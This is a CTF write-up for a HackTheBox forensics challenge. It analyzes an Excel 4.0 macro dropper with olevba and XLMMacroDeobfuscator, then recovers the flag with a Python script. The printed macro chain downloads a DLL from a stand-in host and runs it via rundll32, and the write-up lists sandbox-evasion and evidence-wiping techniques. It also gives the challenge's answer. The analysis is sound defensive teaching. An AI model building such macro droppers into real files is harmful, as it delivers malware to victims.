$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: analyze a malicious .xls file with obfuscated Excel 4.0 (XLM) macros on a very hidden sheet. Solution: use olevba and XLMMacroDeobfuscator to trace execution flow, then extract scattered flag characters from cells referenced by CONCATENATE formulas using xlrd2, combining three parts from the ShellExecuteA payload argument.
The challenge provides a password-protected ZIP (hackthebox) containing oBfsC4t10n2.xls — a Composite Document File V2 (OLE format Excel file). The document uses Excel 4.0 (XLM) macros — a legacy macro format predating VBA — with heavy obfuscation and anti-analysis techniques. Author metadata shows 0xdf.
file oBfsC4t10n2.xls # Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, # Code page: 1252, Author: 0xdf
The file is an OLE-format Excel workbook (.xls), not the modern OOXML format (.xlsx/.xlsm). This is significant because Excel 4.0 macros can only exist in the old binary format.
Using olevba to scan for macros:
olevba oBfsC4t10n2.xls
Key findings from olevba output:
BOUNDSHEET: Excel 4.0 macro sheet, very hidden - c1zB0vasN — a macro sheet hidden at the deepest level (not visible even via right-click "Unhide")BOUNDSHEET: worksheet or dialog sheet, visible - invoic — the visible decoy sheetAuto_Open defined name pointing to invoic!N545 — execution entry pointagawf23f, KsshpqC4Mo, Lsl23Us7a, rstegerg3 — all pointing to various cells in the hidden sheetInstalled and ran XLMMacroDeobfuscator to emulate the XLM macros:
pip3 install xlmmacrodeobfuscator xlmdeobfuscator --file oBfsC4t10n2.xls
The deobfuscated execution flow reveals a sophisticated multi-stage payload:
WORKBOOK.HIDE("c1zB0vasNO",TRUE) — hides the macro sheet at runtimeGET.WORKSPACE(1) — retrieves OS information stringCLOSE(FALSE) to abortIF(GET.WORKSPACE(42), CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777), ...) — constructs first flag fragment from cells scattered across the sheet; branches on sound capability (sandbox detection)GET.WORKSPACE(13) — retrieves screen width in pixelsGET.WORKSPACE(19) (mouse presence — another sandbox indicator)IF(ISNUMBER(SEARCH("6.1",N546)), CONCATENATE(Z699,L932,...), CONCATENATE(A699,E932,...)) — constructs second flag fragment, branching on Windows version (6.1 = Windows 7)GET.WORKSPACE(1) and check for "7.0"CreateDirectoryA("C:\rncwner") and CreateDirectoryA("C:\rncwner\CkkYKlI")URLDownloadToFileA downloads from http://0b.htb/s.dll to C:\rncwner\CkuiQhTXx.dllShellExecuteA runs rundll32.exe with the DLL and an entry point constructed from D8 + middle literal + D1023FORMULA.FILL("a", A1:Z1337) — evidence destruction — overwrites all 1337×26 cells with "a"HALT() — stops macro executionThe flag characters are scattered across hundreds of cells in the very hidden sheet. Used xlrd2 to read the actual cell values before the FORMULA.FILL destruction would wipe them:
import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # D8 TRUE branch: CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) print(f"D8 = '{d8}'") # Result: ' HTB{n0w_e' # D1023 TRUE branch (Win 6.1): CONCATENATE(Z699,L932,J1190,C574,J644,A718,E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) print(f"D1023 = '{d1023}'") # Result: 'cr0s_r_b4cK' # Middle part: literal string from ShellExecuteA argument between D8 and D1023 references middle = "Xc3l_4.0_M4" flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}")
The ShellExecuteA call at R1191 constructs the rundll32 argument as:
DLL_path + D8_value + Xc3l_4.0_M4 + D1023_value + }
Where D8 and D1023 are resolved from the CONCATENATE formulas referencing scattered cells.
#!/usr/bin/env python3 """ oBfsC4t10n2 — HackTheBox Forensics Challenge Solution Excel 4.0 (XLM) macro deobfuscation and flag reconstruction """ import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): """Convert Excel column letter(s) to 0-based index""" result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): """Read cell value by Excel-style reference (e.g., 'E', 394)""" col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # Part 1: D8 TRUE branch # CONCATENATE(E394, F1194, F549, E635, O697, U208, T458, M868, Z4, U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) # Part 2: Middle literal from ShellExecuteA argument middle = "Xc3l_4.0_M4" # Part 3: D1023 TRUE branch (Windows 6.1 path) # CONCATENATE(Z699, L932, J1190, C574, J644, A718, E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) # Reconstruct flag flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}") # HTB{n0w_eXc3l_4.0_M4cr0s_r_b4cK}
This document employs 8 distinct anti-analysis techniques:
c1zB0vasN is set to "very hidden" (type 2), not visible even via right-click Unhide in Excel; requires VBA editor or hex editing to revealGET.WORKSPACE() calls check OS (1), screen width (13), mouse presence (19), and sound capability (42)GET.WORKSPACE(19) detects automated environments without mouse inputFORMULA.FILL("a", A1:Z1337) overwrites all cells after payload executionON.TIME with 2-second delays between stages to evade time-limited sandboxesThis technique is useful when:
.xls files (OLE format, not OOXML) with no VBA macros but suspicious behaviorolevba reports BOUNDSHEET: Excel 4.0 macro sheet — confirms XLM macrosAuto_Open or Auto_Close defined names point to unexpected cellsGET.WORKSPACE() calls indicate environment fingerprintingCALL() function references WinAPI functions like URLDownloadToFileA, ShellExecuteA, CreateDirectoryAFORMULA.FILL used to overwrite large cell ranges (evidence destruction)agawf23f, KsshpqC4Mo)$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar